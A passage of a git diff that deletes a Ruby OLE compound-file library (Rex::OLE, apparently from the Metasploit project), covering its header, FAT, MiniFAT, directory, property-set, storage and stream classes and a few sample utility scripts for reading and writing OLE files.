find_by_sid(sid, de=self) - if (de.sid == sid) - return de - end - @children.each { |cde| - ret = find_by_sid(sid, cde) - if (ret) - return ret - end - } - nil - end - - - # - # low-level functions - # - def from_s(sid, buf) - @sid = sid - @_ab = Util.getUnicodeString(buf[0x00,64]) - @_cb = Util.get16(buf, 0x40) - - # too big? - if (@_cb > 0x40) - raise RuntimeError, 'Invalid directory entry name length %#x' % @_cb - end - - # mismatch? - if (@_ab.length > 0) - declen = ((@_cb) / 2) - 1 - if (declen != @_ab.length) - raise RuntimeError, 'Directory entry name and length mismatch (%d != %d)' % [declen, @_ab.length] - end - end - - @_mse = Util.get8(buf, 0x42) - @_bflags = Util.get8(buf, 0x43) - @_sidLeftSib = Util.get32(buf, 0x44) - @_sidRightSib = Util.get32(buf, 0x48) - @_sidChild = Util.get32(buf, 0x4c) - - # only used for storages.. - @_clsId = CLSID.new(buf[0x50,16]) - @_dwUserFlags = Util.get32(buf, 0x60) - @_ctime = buf[0x64,8] - @_mtime = buf[0x6c,8] - - # only used for streams... - @_sectStart = Util.get32(buf, 0x74) - if (@stg.header._uMajorVersion == 4) - @_ulSize = Util.get64(buf, 0x78) - else - @_ulSize = Util.get32(buf, 0x78) - end - - # ignore _dptPropType and pad - end - - - def pack - @_sectStart ||= SECT_END - @_cb = (@_ab.length + 1) * 2 - - data = "" - data << Util.putUnicodeString(@_ab) # gets padded/truncated to 0x40 bytes - data << Util.pack16(@_cb) - data << Util.pack8(@_mse) - data << Util.pack8(@_bflags) - data << Util.pack32(@_sidLeftSib) - data << Util.pack32(@_sidRightSib) - data << Util.pack32(@_sidChild) - data << @_clsId.pack - data << Util.pack32(@_dwUserFlags) - data << @_ctime - data << @_mtime - data << Util.pack32(@_sectStart) - data << Util.pack64(@_ulSize) - data - end - - - def to_s(extra_spaces=0) - @_sectStart ||= SECT_END - @_cb = (@_ab.length + 1) * 2 - - spstr = " " * extra_spaces - - ret = "%s{\n" % spstr - ret << "%s sid => 0x%x" % [spstr, @sid] - ret << ",\n" - ret << "%s _ab => \"%s\"" % [spstr, Util.Printable(@_ab)] - ret << ",\n" - ret << "%s _cb => 0x%04x" % [spstr, @_cb] - ret << ",\n" - ret << "%s _mse => 0x%02x" % [spstr, @_mse] - ret << ",\n" - ret << "%s _bflags => 0x%02x" % [spstr, @_bflags] - ret << ",\n" - ret << "%s _sidLeftSib => 0x%08x" % [spstr, @_sidLeftSib] - ret << ",\n" - ret << "%s _sidRightSib => 0x%08x" % [spstr, @_sidRightSib] - ret << ",\n" - ret << "%s _sidChild => 0x%08x" % [spstr, @_sidChild] - ret << ",\n" - ret << "%s _clsId => %s" % [spstr, @_clsId.to_s] - ret << ",\n" - ret << "%s _dwUserFlags => 0x%08x" % [spstr, @_dwUserFlags] - ret << ",\n" - ret << "%s _ctime => %s" % [spstr, Rex::Text.to_hex_dump(@_ctime).strip] - ret << "\n" - ret << "%s _mtime => %s" % [spstr, Rex::Text.to_hex_dump(@_mtime).strip] - ret << "\n" - ret << "%s _sectStart => 0x%08x" % [spstr, @_sectStart] - ret << ",\n" - ret << "%s _ulSize => 0x%016x" % [spstr, @_ulSize] - if (@_mse == STGTY_STREAM) - ret << ",\n" - ret << "%s data =>\n" % spstr - if (@data) - #ret << Util.Printable(@data) - ret << Rex::Text.to_hex_dump(@data).strip - else - if (@_ulSize > 0) - ret << "--NOT OPENED YET--" - end - end - elsif (@_mse == STGTY_STORAGE) or (@_mse == STGTY_ROOT) - if (@children.length > 0) - ret << ",\n" - ret << "%s *children* =>\n" % spstr - @children.each { |de| - ret << de.to_s(extra_spaces+2) - ret << "\n" - } - end - end - ret << "\n" - ret << "%s}" % spstr - end - -end - -end -end diff --git a/lib/rex/ole/docs/dependencies.txt b/lib/rex/ole/docs/dependencies.txt deleted file mode 100644 index 45e32966ca..0000000000 --- a/lib/rex/ole/docs/dependencies.txt +++ /dev/null @@ -1,8 +0,0 @@ -Object Dependencies ------------------- --------------------- -User Data None -Header Fat, DIFat, Directory, MiniStream -DIFat Fat -Fat Directory, *Fat, User Data, MiniStream -Directory User Data, MiniStream -MiniFat MiniStreams diff --git a/lib/rex/ole/docs/references.txt b/lib/rex/ole/docs/references.txt deleted file mode 100644 index ef79ec20ad..0000000000 --- a/lib/rex/ole/docs/references.txt +++ /dev/null @@ -1 +0,0 @@ -[MS-CFB].pdf diff --git a/lib/rex/ole/fat.rb b/lib/rex/ole/fat.rb deleted file mode 100644 index 884bddd490..0000000000 --- a/lib/rex/ole/fat.rb +++ /dev/null @@ -1,96 +0,0 @@ -# -*- coding: binary -*- - -## -# Rex::OLE - an OLE implementation -# written in 2010 by Joshua J. Drake -## - -module Rex -module OLE - -class FAT < DIFAT - - # - # low-level functions - # - def read(difat) - @entries = [] - cnt = left = @stg.header._csectFat - difat.each { |fs| - break if (left == 0) - - if (fs != SECT_FREE) - buf = @stg.read_sector(fs, @stg.header.sector_size) - arr = Util.get32array(buf) - - # hax! - if (@entries[fs] == SECT_DIF) - # chop the next ptr - @entries += arr.slice!(0, arr.length - 1) - else - @entries += arr - end - left -= 1 - end - } - - if (left != 0) - raise RuntimeError, 'Only found %u of %u sectors' % [(cnt - left), cnt] - end - end - - def allocate_sector(type=nil) - idx = @entries.index(SECT_FREE) - if (not idx) - # add a sector worth - idx = @entries.length - @stg.header.idx_per_sect.times { - @entries << SECT_FREE - } - end - - # mark the sector as in use - if (type) - @entries[idx] = type - else - # default normal sectors to end of chain - @entries[idx] = SECT_END - end - idx - end - - def write(difat) - # we build the difat as we write these.. - difat.reset - - # allocate the sectors - fat_sects = [] - left = @entries.length - while (left > 0) - if (left > @stg.header.idx_per_sect) - left -= @stg.header.idx_per_sect - else - left = 0 - end - fat_sects << allocate_sector(SECT_FAT) - end - - # write the fat into the difat/allocated sectors - copy = @entries.dup - fat_sects.each { |fs| - part = copy.slice!(0, @stg.header.idx_per_sect) - sbuf = Util.pack32array(part) - - if (sbuf.length != @stg.header.sector_size) - raise RuntimeError, 'Unsupported number of fat sectors (not multiple of idx per sect)' - end - - @stg.write_sector_raw(fs, sbuf) - difat << fs - } - end - -end - -end -end diff --git a/lib/rex/ole/header.rb b/lib/rex/ole/header.rb deleted file mode 100644 index 22d6be918e..0000000000 --- a/lib/rex/ole/header.rb +++ /dev/null @@ -1,201 +0,0 @@ -# -*- coding: binary -*- - -## -# Rex::OLE - an OLE implementation -# written in 2010 by Joshua J. Drake -## - -# -# Should we support major == 4 && sectorshift == 0xc ? -# - -module Rex -module OLE - -require 'rex/ole/util' - -class Header - - attr_accessor :_csectFat, :_sectFat - attr_accessor :_csectMiniFat, :_sectMiniFatStart - attr_accessor :_ulMiniSectorCutoff, :_uMiniSectorShift - attr_accessor :_csectDif, :_sectDifStart - attr_accessor :_sectDirStart - attr_accessor :_uMajorVersion - - attr_accessor :sector_size, :idx_per_sect - attr_accessor :mini_sector_size - - def initialize - set_defaults - - # calculate some numbers (save a little math) - @sector_size = 1 << @_uSectorShift - @mini_sector_size = 1 << @_uMiniSectorShift - @idx_per_sect = @sector_size / 4 - end - - def set_defaults - @_abSig = SIG - @_clid = CLSID.new - @_uByteOrder = LITTLE_ENDIAN - - @_uMinorVersion = 0x3e - @_uMajorVersion = 0x03 - - @_uSectorShift = 9 # 512 byte sectors - @_uMiniSectorShift = 6 # 64 byte mini-sectors - - @_csectDir = nil # TBD (v4 only, 1 required) - - @_csectFat = nil # TBD (one required) - @_sectDirStart = nil # TBD (one required) - - @_signature = 0 # no transactions support - - @_ulMiniSectorCutoff = 0x1000 # 4k - @_sectMiniFatStart = SECT_END # TBD - @_csectMiniFat = 0 # TBD - - @_sectDifStart = SECT_END # TBD (default to none) - @_csectDif = 0 # TBD (default to none) - - @_sectFat = [] # TBD - end - - def to_s - ret = "{\n" - ret << " _abSig => \"%s\"" % Util.Printable(@_abSig) - ret << ",\n" - ret << " _clid => %s" % @_clid.to_s - ret << ",\n" - ret << " _uMinorVersion => 0x%04x" % @_uMinorVersion - ret << ",\n" - ret << " _uMajorVersion => 0x%04x" % @_uMajorVersion - ret << ",\n" - ret << " _uByteOrder => 0x%04x" % @_uByteOrder - ret << ",\n" - ret << " _uSectorShift => 0x%04x" % @_uSectorShift - ret << ",\n" - ret << " _uMiniSectorShift => 0x%04x" % @_uMiniSectorShift - ret << ",\n" - - if (@_csectDir) - ret << " _csectDir => 0x%08x" % @_csectDir - else - ret << " _csectDir => UNALLOCATED" % @_csectDir - end - ret << ",\n" - - if (@_csectFat) - ret << " _csectFat => 0x%08x" % @_csectFat - else - ret << " _csectFat => UNALLOCATED" - end - ret << ",\n" - - if (@_sectDirStart) - ret << " _sectDirStart => 0x%08x" % @_sectDirStart - else - ret << " _sectDirStart => UNALLOCATED" - end - ret << ",\n" - - ret << " _signature => 0x%08x" % @_signature - ret << ",\n" - ret << " _uMiniSectorCutoff => 0x%08x" % @_ulMiniSectorCutoff - ret << ",\n" - ret << " _sectMiniFatStart => 0x%08x" % @_sectMiniFatStart - ret << ",\n" - ret << " _csectMiniFat => 0x%08x" % @_csectMiniFat - ret << ",\n" - ret << " _sectDifStart => 0x%08x" % @_sectDifStart - ret << ",\n" - ret << " _csectDif => 0x%08x" % @_csectDif - #ret << ",\n" - #ret << " _sectFat => " - #ret << Rex::Text.to_hex_dump32array(@_sectFat) - ret << "\n}" - ret - end - - # - # low-level functions - # - def read(fd) - buf = fd.read(HDR_SZ) - - @_abSig = buf[0x00,8] - if (@_abSig != SIG) and (@_abSig != SIG_BETA) - raise RuntimeError, 'Invalid signature for OLE file' - end - @_clid = CLSID.new(buf[0x08,16]) - - @_uByteOrder = Util.get16(buf, 0x1c) - Util.set_endian(@_uByteOrder) - - @_uMinorVersion = Util.get16(buf, 0x18) - @_uMajorVersion = Util.get16(buf, 0x1a) - - @_uSectorShift = Util.get16(buf, 0x1e) - @_uMiniSectorShift = Util.get16(buf, 0x20) - - # ignore reserved bytes - - @_csectDir = Util.get32(buf, 0x28) # NOTE: only for v4 files - - @_csectFat = Util.get32(buf, 0x2c) - @_sectDirStart = Util.get32(buf, 0x30) - - @_signature = Util.get32(buf, 0x34) - - @_ulMiniSectorCutoff = Util.get32(buf, 0x38) - @_sectMiniFatStart = Util.get32(buf, 0x3c) - @_csectMiniFat = Util.get32(buf, 0x40) - - @_sectDifStart = Util.get32(buf, 0x44) - @_csectDif = Util.get32(buf, 0x48) - - @_sectFat = Util.get32array(buf[0x4c, (109 * 4)]) - end - - def write(fd) - hdr = "" - hdr << @_abSig - hdr << @_clid.pack - hdr << Util.pack16(@_uMinorVersion) - hdr << Util.pack16(@_uMajorVersion) - hdr << Util.pack16(@_uByteOrder) - hdr << Util.pack16(@_uSectorShift) - hdr << Util.pack16(@_uMiniSectorShift) - if (@_uMajorVersion == 0x04) - hdr << "\x00" * 6 # reserved bytes - hdr << Util.pack32(@_csectDir) - else - hdr << "\x00" * 10 # reserved bytes - end - - fs_count = @_csectFat - fs_count ||= 0 - hdr << Util.pack32(fs_count) - - dir_start = @_sectDirStart - dir_start ||= SECT_END - hdr << Util.pack32(dir_start) - - hdr << Util.pack32(@_signature) - hdr << Util.pack32(@_ulMiniSectorCutoff) - hdr << Util.pack32(@_sectMiniFatStart) - hdr << Util.pack32(@_csectMiniFat) - hdr << Util.pack32(@_sectDifStart) - hdr << Util.pack32(@_csectDif) - hdr << Util.pack32array(@_sectFat) - - fd.seek(0, ::IO::SEEK_SET) - fd.write(hdr) - end - -end - -end -end diff --git a/lib/rex/ole/minifat.rb b/lib/rex/ole/minifat.rb deleted file mode 100644 index 1286161e63..0000000000 --- a/lib/rex/ole/minifat.rb +++ /dev/null @@ -1,74 +0,0 @@ -# -*- coding: binary -*- - -## -# Rex::OLE - an OLE implementation -# written in 2010 by Joshua J. Drake -## - -module Rex -module OLE - -class MiniFAT < DIFAT - - # - # low-level functions - # - def read - @entries = [] - - visited = [] - sect = @stg.header._sectMiniFatStart - @stg.header._csectMiniFat.times { |idx| - break if sect == SECT_END - - if (visited.include?(sect)) - raise RuntimeError, 'Sector chain loop detected (0x%08x)' % sect - end - visited << sect - - buf = @stg.read_sector(sect, @stg.header.sector_size) - @stg.header.idx_per_sect.times { |idx| - @entries << Util.get32(buf, (idx*4)) - } - sect = @stg.next_sector(sect) - } - end - - def allocate_sector - idx = @entries.index(SECT_FREE) - - if (not idx) - # add a sector worth - idx = @entries.length - @stg.header.idx_per_sect.times { - @entries << SECT_FREE - } - end - - # default mini-sectors to end of chain - @entries[idx] = SECT_END - idx - end - - def write - return if (@entries.length < 1) - - mf_start = nil - mfs_count = 0 - prev_sect = nil - copy = @entries.dup - while (copy.length > 0) - part = copy.slice!(0, @stg.header.idx_per_sect) - sbuf = Util.pack32array(part) - idx = @stg.write_sector(sbuf, nil, prev_sect) - mfs_count += 1 - mf_start ||= idx - end - @stg.header._sectMiniFatStart = mf_start - @stg.header._csectMiniFat = mfs_count - end - -end - -end -end diff --git a/lib/rex/ole/propset.rb b/lib/rex/ole/propset.rb deleted file mode 100644 index 07ee7047ad..0000000000 --- a/lib/rex/ole/propset.rb +++ /dev/null @@ -1,141 +0,0 @@ -# -*- coding: binary -*- - -## -# Rex::OLE - an OLE implementation -# written in 2010 by Joshua J. Drake -## - -module Rex -module OLE - -class Property - - def initialize(id, type, data) - @id = id - @type = type - @data = data - end - - def pack_pio(off = 0) - [ @id, off ].pack('V*') - end - - def pack_data - buf = [ @type ].pack('V') - case @type - when VT_BLOB - buf << [ @data.length ].pack('V') - when VT_CF - buf << [ 4 + @data.length, -1 ].pack('V*') - end - buf << @data - buf - end - - def to_s - "Rex::OLE::Property - to_s unimplemented" - end - -end - -class PropertySet - - def initialize(fmtid = nil) - @fmtid = CLSID.new(fmtid) - @properties = [] - end - - def <<(val) - @properties << val - end - - def pack_fno(off = 0) - @fmtid.pack + [ off ].pack('V') - end - - def pack_data - # Pack all the property data - data = [] - dlen = 0 - @properties.each { |p| - dat = p.pack_data - dlen += dat.length - data << dat - } - - buf = '' - # First the header - off = 8 + (@properties.length * 8) - buf << [ off + dlen, @properties.length ].pack('V*') - # Now, the Property Id and Offset for each - @properties.each_with_index { |p,x| - buf << p.pack_pio(off) - off += data[x].length - } - # Finally, all the data - buf << data.join - buf - end - - def to_s - "Rex::OLE::PropertySet - to_s unimplemented" - end - -end - -class PropertySetStream - - def initialize - @byte_order = 0xfffe - @ole_version = 0 - @os_version = 1 - @os_platform = 2 - @clsid = CLSID.new - - @propsets = [] - end - - def <<(ps) - @propsets << ps - end - - def pack - buf = '' - - # First, add the header - buf << [ - @byte_order, - @ole_version, - @os_version, - @os_platform - ].pack('vvvv') - buf << @clsid.pack - buf << [@propsets.length].pack('V') - - # Pack all the PropertySet children - data = [] - @propsets.each { |p| - data << p.pack_data - } - - # Next, add all the FMTID and Offset headers - off = buf.length + (20 * @propsets.length) - @propsets.each_with_index { |ps,x| - buf << ps.pack_fno(off) - off += data[x].length - } - - # Finally, add all the data - buf << data.join - buf - end - - def to_s - "Rex::OLE::PropertySetStream - to_s unimplemented" - end - -end - - -end -end diff --git a/lib/rex/ole/samples/create_ole.rb b/lib/rex/ole/samples/create_ole.rb deleted file mode 100755 index 44344ea0d7..0000000000 --- a/lib/rex/ole/samples/create_ole.rb +++ /dev/null @@ -1,27 +0,0 @@ -# -*- coding: binary -*- - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end -path = File.expand_path(File.dirname(msfbase)) -path += "/../../../" -$:.unshift(path) - - -require 'rex/ole' - -if (ARGV.length < 1) - $stderr.puts "usage: make_ole " - exit(1) -end - -document = ARGV.shift - -if (stg = Rex::OLE::Storage.new(document, Rex::OLE::STGM_WRITE)) - if (stm = stg.create_stream("testing")) - stm << "A" * 1024 - stm.close - end - stg.close -end diff --git a/lib/rex/ole/samples/dir.rb b/lib/rex/ole/samples/dir.rb deleted file mode 100755 index 24d53a360e..0000000000 --- a/lib/rex/ole/samples/dir.rb +++ /dev/null @@ -1,35 +0,0 @@ -# -*- coding: binary -*- - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end -path = File.expand_path(File.dirname(msfbase)) -path += "/../../../" -$:.unshift(path) - - -require 'rex/ole' - -if (ARGV.length < 1) - $stderr.puts "usage: dir " - exit(1) -end - -document = ARGV.shift - - -# recursive printer :) -def show_entries(ent, spaces=0) - spstr = " " * spaces - - puts "%s + #{ent.name}" % spstr - ent.each { |el| - show_entries(el, spaces+2) - } -end - -if (stg = Rex::OLE::Storage.new(document)) - show_entries(stg) - stg.close -end diff --git a/lib/rex/ole/samples/dump_stream.rb b/lib/rex/ole/samples/dump_stream.rb deleted file mode 100755 index 73acb41d35..0000000000 --- a/lib/rex/ole/samples/dump_stream.rb +++ /dev/null @@ -1,34 +0,0 @@ -# -*- coding: binary -*- - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end -path = File.expand_path(File.dirname(msfbase)) -path += "/../../../" -$:.unshift(path) - -require 'rex/ole' - -if (ARGV.length < 2) - $stderr.puts "usage: dump_stream " - exit(1) -end - -document = ARGV.shift -stream = ARGV.shift - -if (stg = Rex::OLE::Storage.new(document)) - if (stm = stg.open_stream(stream)) - data = stm.read(stm.length) - data ||= "" - $stderr.puts "Successfully opened the \"%s\" stream (%u bytes)" % [stream, data.length] - $stdout.print data - stm.close - else - $stderr.puts "Unable to open stream: #{stream}" - end - stg.close -else - $stderr.puts "Unable to open storage: #{document}" -end diff --git a/lib/rex/ole/samples/ole_info.rb b/lib/rex/ole/samples/ole_info.rb deleted file mode 100755 index 29773d0236..0000000000 --- a/lib/rex/ole/samples/ole_info.rb +++ /dev/null @@ -1,23 +0,0 @@ -# -*- coding: binary -*- - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end -path = File.expand_path(File.dirname(msfbase)) -path += "/../../../" -$:.unshift(path) - -require 'rex/ole' - -if (ARGV.length < 1) - $stderr.puts "usage: ole_info " - exit(1) -end - -document = ARGV.shift - -if (stg = Rex::OLE::Storage.new(document)) - puts stg.inspect - stg.close -end diff --git a/lib/rex/ole/storage.rb b/lib/rex/ole/storage.rb deleted file mode 100644 index 11f522ab4e..0000000000 --- a/lib/rex/ole/storage.rb +++ /dev/null @@ -1,392 +0,0 @@ -# -*- coding: binary -*- - -## -# Rex::OLE - an OLE implementation -# written in 2010 by Joshua J. Drake -## - -module Rex -module OLE - -class Storage - - attr_accessor :header - - def initialize(filename=nil, mode=STGM_READ) - @mode = mode - @modified = nil - - @fd = nil - @filename = nil - @header = Header.new - @difat = DIFAT.new self - @fat = FAT.new self - @minifat = MiniFAT.new self - @directory = Directory.new self - @ministream = Stream.new self - - if (filename) - @filename = filename - open(filename, mode) - return - end - end - - - def each - @directory.each { |el| - yield el - } - end - - - def name - @filename - end - - - def open(filename, mode) - if (mode == STGM_READWRITE) - fmode = 'r+b' - elsif (mode == STGM_WRITE) - fmode = 'w+b' - else - fmode = 'rb' - end - - @fd = File.new(filename, fmode) - - # don't read for new files - if (mode == STGM_WRITE) - # ensure there is a root - write_to_disk - return - end - - # parse the header - @header.read @fd - @difat.read - @fat.read @difat - @minifat.read - @directory.read - # NOTE: we can't use read_stream_data here (must read using regular FAT, regardless of size) - # read data using the root node's start/length - @ministream << read_data(@directory) - end - - def close - if (@modified) and (@mode != STGM_READ) - write_to_disk - end - @fd.close - end - - def inspect - ret = "" - ret << "header = %s\n" % @header.to_s - - ret << "*** %u DIFAT sectors\n" % @difat.length - ret << @difat.to_s << "\n" - - ret << "*** %u FAT sectors\n" % @fat.length - ret << @fat.to_s << "\n" - - ret << "*** %u MiniFAT sectors:\n" % @minifat.length - if (@minifat.length > 0) - ret << @minifat.to_s << "\n" - end - - ret << "*** ministream (%u bytes):\n" % @ministream.length - if (@ministream.length > 0) - ret << @ministream.to_s << "\n" - end - - ret << "*** %u directory entries\n" % @directory.num_entries - ret << @directory.to_s << "\n" - end - - - # - # stream manipulation functions - # - def create_stream(name, mode=STGM_WRITE, parent_stg=nil) - if (stm = open_stream(name, mode, parent_stg)) - stm.close - return nil - end - - # eek, don't check the name for now - # if we do, we cant create alot of streams (summary info for example) -=begin - if (not Util.name_is_valid(name)) - return nil - end -=end - - stm = Stream.new self - stm.name = name - parent_stg ||= @directory - dlog("Adding stream #{name} to storage #{parent_stg.name}", 'rex', LEV_3) - @directory.link_item(parent_stg, stm) - @modified = true - stm - end - - def open_stream(name, mode=STGM_READ, parent_stg=nil) - parent_stg ||= @directory - stm = parent_stg.find_stream_by_name_and_type(name, STGTY_STREAM) - if (stm) - # TODO: optimize out the need to read all of the data up-front - stm << read_stream_data(stm) - end - stm - end - - - # - # storage manipulation functions - # - def create_storage(name, mode=STGM_READ, parent_stg=nil) - stg = SubStorage.new self - stg.name = name - parent_stg ||= @directory - dlog("Adding storage #{name} to storage #{parent_stg.name}", 'rex', LEV_3) - @directory.link_item(parent_stg, stg) - stg - end - - def open_storage(name, mode=STGM_READ, parent_stg=nil) - @directory.find_stream_by_name_and_type(name, STGTY_STORAGE) - end - - - # - # low-level functions - # - def write_to_disk - # reset FAT/DIFAT - @difat = DIFAT.new self - @fat = FAT.new self - - @header.write @fd - write_user_data - - # NOTE: we call write_stream here since we MUST write this to - # the regular stream (regardless of size) - ms_start = write_stream(@ministream) - @directory.set_ministream_params(ms_start, @ministream.length) - - @minifat.write - @directory.write - @fat.write(@difat) - @difat.write - - # write it again, now that its complete - @header.write @fd - @fd.flush - end - - def write_sector(sbuf, type=nil, prev_sect=nil) - len = sbuf.length - if (len != @header.sector_size) - # pad it if less - if (len < @header.sector_size) - sbuf = sbuf.dup - sbuf << "\x00" * (@header.sector_size - len) - else - raise RuntimeError, 'not sector sized!' - end - end - - # write the data - idx = @fat.allocate_sector(type) - # point previous sector to here - if (prev_sect) - @fat[prev_sect] = idx - end - write_sector_raw(idx, sbuf) - return idx - end - - def write_sector_raw(sect, sbuf) - dlog("Writing sector 0x%02x" % sect, 'rex', LEV_3) - @fd.seek((sect + 1) * @header.sector_size, ::IO::SEEK_SET) - @fd.write(sbuf) - end - - - def write_mini_sector(sbuf, prev_sect=nil) - len = sbuf.length - if (len != @header.mini_sector_size) - if (len < @header.mini_sector_size) - sbuf = sbuf.dup - sbuf << "\x00" * (@header.mini_sector_size - len) - else - raise RuntimeError, 'not mini sector sized!' - end - end - - idx = @minifat.allocate_sector - # point the previous mini sector to here - if (prev_sect) - @minifat[prev_sect] = idx - end - write_mini_sector_raw(idx, sbuf) - idx - end - - def write_mini_sector_raw(sect, sbuf) - dlog("Writing mini sector 0x%02x" % sect, 'rex', LEV_3) - @ministream << sbuf - end - - - - def write_user_data - @directory.each_entry { |stm| - # only regular streams this pass - next if (stm.type != STGTY_STREAM) - - if (stm.length >= @header._ulMiniSectorCutoff) - stm.start_sector = write_stream(stm) - else - # NOTE: stm_start is a minifat value - stm.start_sector = write_mini_stream(stm) - end - } - end - - def write_stream(stm) - dlog("Writing \"%s\" to regular stream" % stm.name, 'rex', LEV_3) - stm_start = nil - prev_sect = nil - stm.seek(0) - while (sbuf = stm.read(@header.sector_size)) - sect = write_sector(sbuf, nil, prev_sect) - stm_start ||= sect - prev_sect = sect - end - stm_start - end - - def write_mini_stream(stm) - dlog("Writing \"%s\" to mini stream" % stm.name, 'rex', LEV_3) - prev_sect = nil - stm.seek(0) - while (sbuf = stm.read(@header.mini_sector_size)) - sect = write_mini_sector(sbuf, prev_sect) - stm_start ||= sect - prev_sect = sect - end - stm_start - end - - - def read_stream_data(direntry) - if (direntry.length < @header._ulMiniSectorCutoff) - return read_data_mini(direntry) - end - - read_data(direntry) - end - - def read_data(direntry) - ret = "" - visited = [] - left = direntry.length - sect = direntry.start_sector - while (sect != SECT_END) - if (visited.include?(sect)) - raise RuntimeError, 'Sector chain loop detected (0x%08x)' % sect - end - visited << sect - - # how much to read? - block = @header.sector_size - block = left if (block > left) - - # read it. - dlog("read_data - reading 0x%x bytes" % block, 'rex', LEV_3) - buf = read_sector(sect, block) - ret << buf - left -= buf.length - - # done? - break if (left == 0) - - sect = next_sector(sect) - end - ret - end - - def read_data_mini(direntry) - ret = "" - visited = [] - left = direntry.length - sect = direntry.start_sector - while (sect != SECT_END) - if (visited.include?(sect)) - raise RuntimeError, 'Sector chain loop detected (0x%08x mini)' % sect - end - visited << sect - - # how much to read? - block = @header.mini_sector_size - block = left if (block > left) - - # read it. - dlog("read_data_mini - reading 0x%x bytes" % block, 'rex', LEV_3) - buf = read_mini_sector(sect, block) - ret << buf - left -= buf.length - - # done? - break if (left == 0) - - sect = next_mini_sector(sect) - end - ret - end - - - def read_sector(sect, len) - off = ((sect + 1) * @header.sector_size) - @fd.seek(off, ::IO::SEEK_SET) - buf = @fd.read(len) - if (not buf) - if (@fd.eof?) - raise RuntimeError, 'EOF while reading sector data (0x%08x)' % sect - else - raise RuntimeError, 'Unknown error while reading sector data (0x%08x)' % sect - end - end - if (buf.length != len) - raise RuntimeError, 'Insufficient data for sector (0x%08x): got %u of %u' % [sect, buf.length, len] - end - buf - end - - def next_sector(sect) - return SECT_END if (sect >= @fat.length) - @fat[sect] - end - - - def read_mini_sector(sect, len) - dlog("Reading mini sector 0x%x" % sect, 'rex', LEV_3) - off = (@header.mini_sector_size * sect) - dlog("Reading from offset 0x%x of ministream" % off, 'rex', LEV_3) - @ministream.seek(off) - data = @ministream.read(len) - data - end - - def next_mini_sector(sect) - return SECT_END if (sect >= @minifat.length) - @minifat[sect] - end - -end - -end -end diff --git a/lib/rex/ole/stream.rb b/lib/rex/ole/stream.rb deleted file mode 100644 index 00e0bdddd7..0000000000 --- a/lib/rex/ole/stream.rb +++ /dev/null @@ -1,50 +0,0 @@ -# -*- coding: binary -*- - -## -# Rex::OLE - an OLE implementation -# written in 2010 by Joshua J. Drake -## - -module Rex -module OLE - -class Stream < DirEntry - - def initialize(stg) - super - - # for reading/writing from this - @offset = 0 - @_mse = STGTY_STREAM - end - - def close - @mode = nil - @offset = nil - end - - def seek(offset) - @offset = offset - end - - def read(len) - return nil if (not @data) - - ret = @data[@offset, len] - @offset += len - ret - end - - def <<(expr) - if (not @data) - @data = expr.dup - else - @data << expr - end - @_ulSize = @data.length - end - -end - -end -end diff --git a/lib/rex/ole/substorage.rb b/lib/rex/ole/substorage.rb deleted file mode 100644 index bf58599d2c..0000000000 --- a/lib/rex/ole/substorage.rb +++ /dev/null @@ -1,46 +0,0 @@ -# -*- coding: binary -*- - -## -# Rex::OLE - an OLE implementation -# written in 2010 by Joshua J. Drake -## - -module Rex -module OLE - -class SubStorage < DirEntry - - def initialize(stg) - super - - @_mse = STGTY_STORAGE - end - - - def close - end - - - # stream handling stuff - def create_stream(name, mode=STGM_WRITE) - @stg.create_stream(name, mode, self) - end - - def open_stream(name, mode=STGM_READ) - @stg.open_stream(name, mode, self) - end - - - # storage handling stuff - def create_storage(name, mode=STGM_WRITE) - @stg.create_storage(name, mode, self) - end - - def open_storage(name, mode=STGM_WRITE) - @stg.open_storage(name, mode, self) - end - -end - -end -end diff --git a/lib/rex/ole/util.rb b/lib/rex/ole/util.rb deleted file mode 100644 index e2dfbca281..0000000000 --- a/lib/rex/ole/util.rb +++ /dev/null @@ -1,154 +0,0 @@ -# -*- coding: binary -*- - -## -# Rex::OLE - an OLE implementation -# written in 2010 by Joshua J. Drake -## - -module Rex -module OLE - -class Util - - def self.Hexify32array(arr) - ret = "" - arr.each { |dw| - ret << " " if ret.length > 0 - ret << "0x%08x" % dw - } - ret - end - - def self.Printable(buf) - ret = "" - buf.unpack('C*').each { |byte| - ch = byte.chr - if (byte < 0x20 || byte > 0x7e) - ret << "\\x" + ch.unpack('H*')[0] - else - ret << ch - end - } - ret - end - - - def self.set_endian(endian) - @endian = endian - end - - def self.get64(buf, offset) - @endian = LITTLE_ENDIAN if not @endian - if (@endian == LITTLE_ENDIAN) - arr = buf[offset,8].unpack('VV') - return (arr[0] + (arr[1] << 32)) - else - arr = buf[offset,8].unpack('NN') - return ((arr[0] << 32) + arr[1]) - end - end - - def self.pack64(value) - @endian = LITTLE_ENDIAN if not @endian - arr = [] - arr << (value & 0xffffffff) - arr << (value >> 32) - if (@endian == LITTLE_ENDIAN) - arr.pack('VV') - else - arr.reverse.pack('NN') - end - end - - def self.get32(buf, offset) - @endian = LITTLE_ENDIAN if not @endian - if (@endian == LITTLE_ENDIAN) - buf[offset,4].unpack('V')[0] - else - buf[offset,4].unpack('N')[0] - end - end - - def self.pack32(value) - @endian = LITTLE_ENDIAN if not @endian - if (@endian == LITTLE_ENDIAN) - [value].pack('V') - else - [value].pack('N') - end - end - - def self.get32array(buf) - @endian = LITTLE_ENDIAN if not @endian - if (@endian == LITTLE_ENDIAN) - buf.unpack('V*') - else - buf.unpack('N*') - end - end - - def self.pack32array(arr) - @endian = LITTLE_ENDIAN if not @endian - if (@endian == LITTLE_ENDIAN) - arr.pack('V*') - else - arr.pack('N*') - end - end - - def self.get16(buf, offset) - @endian = LITTLE_ENDIAN if not @endian - if (@endian == LITTLE_ENDIAN) - buf[offset,2].unpack('v')[0] - else - buf[offset,2].unpack('n')[0] - end - end - - def self.pack16(value) - @endian = LITTLE_ENDIAN if not @endian - if (@endian == LITTLE_ENDIAN) - [value].pack('v') - else - [value].pack('n') - end - end - - def self.get8(buf, offset) - buf[offset,1].unpack('C')[0] - end - - def self.pack8(value) - [value].pack('C') - end - - - def self.getUnicodeString(buf) - buf = buf.unpack('v*').pack('C*') - if (idx = buf.index(0x00.chr)) - buf.slice!(idx, buf.length) - end - 